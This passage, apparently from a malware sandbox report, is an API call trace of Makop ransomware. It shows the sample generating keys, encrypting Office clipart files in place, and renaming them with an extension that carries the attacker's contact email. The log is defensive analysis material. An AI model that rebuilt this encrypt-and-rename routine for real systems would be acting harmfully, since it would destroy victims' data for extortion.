nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.644] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.644] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ca0, lpOverlapped=0x0) returned 1 [0143.645] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0) returned 1 [0143.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ca0, lpOverlapped=0x0) returned 1 [0143.646] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.646] SetEndOfFile (hFile=0xf0) returned 1 [0143.653] GetProcessHeap () returned 0x48a0000 [0143.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.654] GetProcessHeap () returned 0x48a0000 [0143.654] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.654] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.658] CloseHandle (hObject=0xf0) returned 1 [0143.658] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0143.660] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 63 [0143.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.661] GetProcessHeap () returned 0x48a0000 [0143.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.665] GetProcessHeap () returned 0x48a0000 [0143.665] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.665] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.666] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.667] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1908, lpOverlapped=0x0) returned 1 [0143.669] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1910, dwBufLen=0x1910 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1910) returned 1 [0143.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1910, lpOverlapped=0x0) returned 1 [0143.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.669] SetEndOfFile (hFile=0xf0) returned 1 [0143.676] GetProcessHeap () returned 0x48a0000 [0143.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.676] GetProcessHeap () returned 0x48a0000 [0143.677] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.677] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.678] CloseHandle (hObject=0xf0) returned 1 [0143.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0143.679] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 63 [0143.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.680] GetProcessHeap () returned 0x48a0000 [0143.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.680] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.680] GetProcessHeap () returned 0x48a0000 [0143.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.680] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.698] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.698] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3100, lpOverlapped=0x0) returned 1 [0143.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100, dwBufLen=0x3100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100) returned 1 [0143.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3100, lpOverlapped=0x0) returned 1 [0143.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.701] SetEndOfFile (hFile=0xf0) returned 1 [0143.708] GetProcessHeap () returned 0x48a0000 [0143.708] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.708] GetProcessHeap () returned 0x48a0000 [0143.708] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.708] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.710] CloseHandle (hObject=0xf0) returned 1 [0143.710] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0143.710] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF") returned 63 [0143.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.711] GetProcessHeap () returned 0x48a0000 [0143.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.711] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.711] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.711] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0143.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.717] GetProcessHeap () returned 0x48a0000 [0143.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.717] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.717] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.718] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.718] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.718] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2904, lpOverlapped=0x0) returned 1 [0143.720] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2910, dwBufLen=0x2910 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2910) returned 1 [0143.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2910, lpOverlapped=0x0) returned 1 [0143.721] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.721] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.721] SetEndOfFile (hFile=0xf0) returned 1 [0143.728] GetProcessHeap () returned 0x48a0000 [0143.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.728] GetProcessHeap () returned 0x48a0000 [0143.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.728] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.730] CloseHandle (hObject=0xf0) returned 1 [0143.731] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0143.731] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF") returned 63 [0143.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.732] GetProcessHeap () returned 0x48a0000 [0143.732] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.732] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0143.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.737] GetProcessHeap () returned 0x48a0000 [0143.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.737] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.737] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 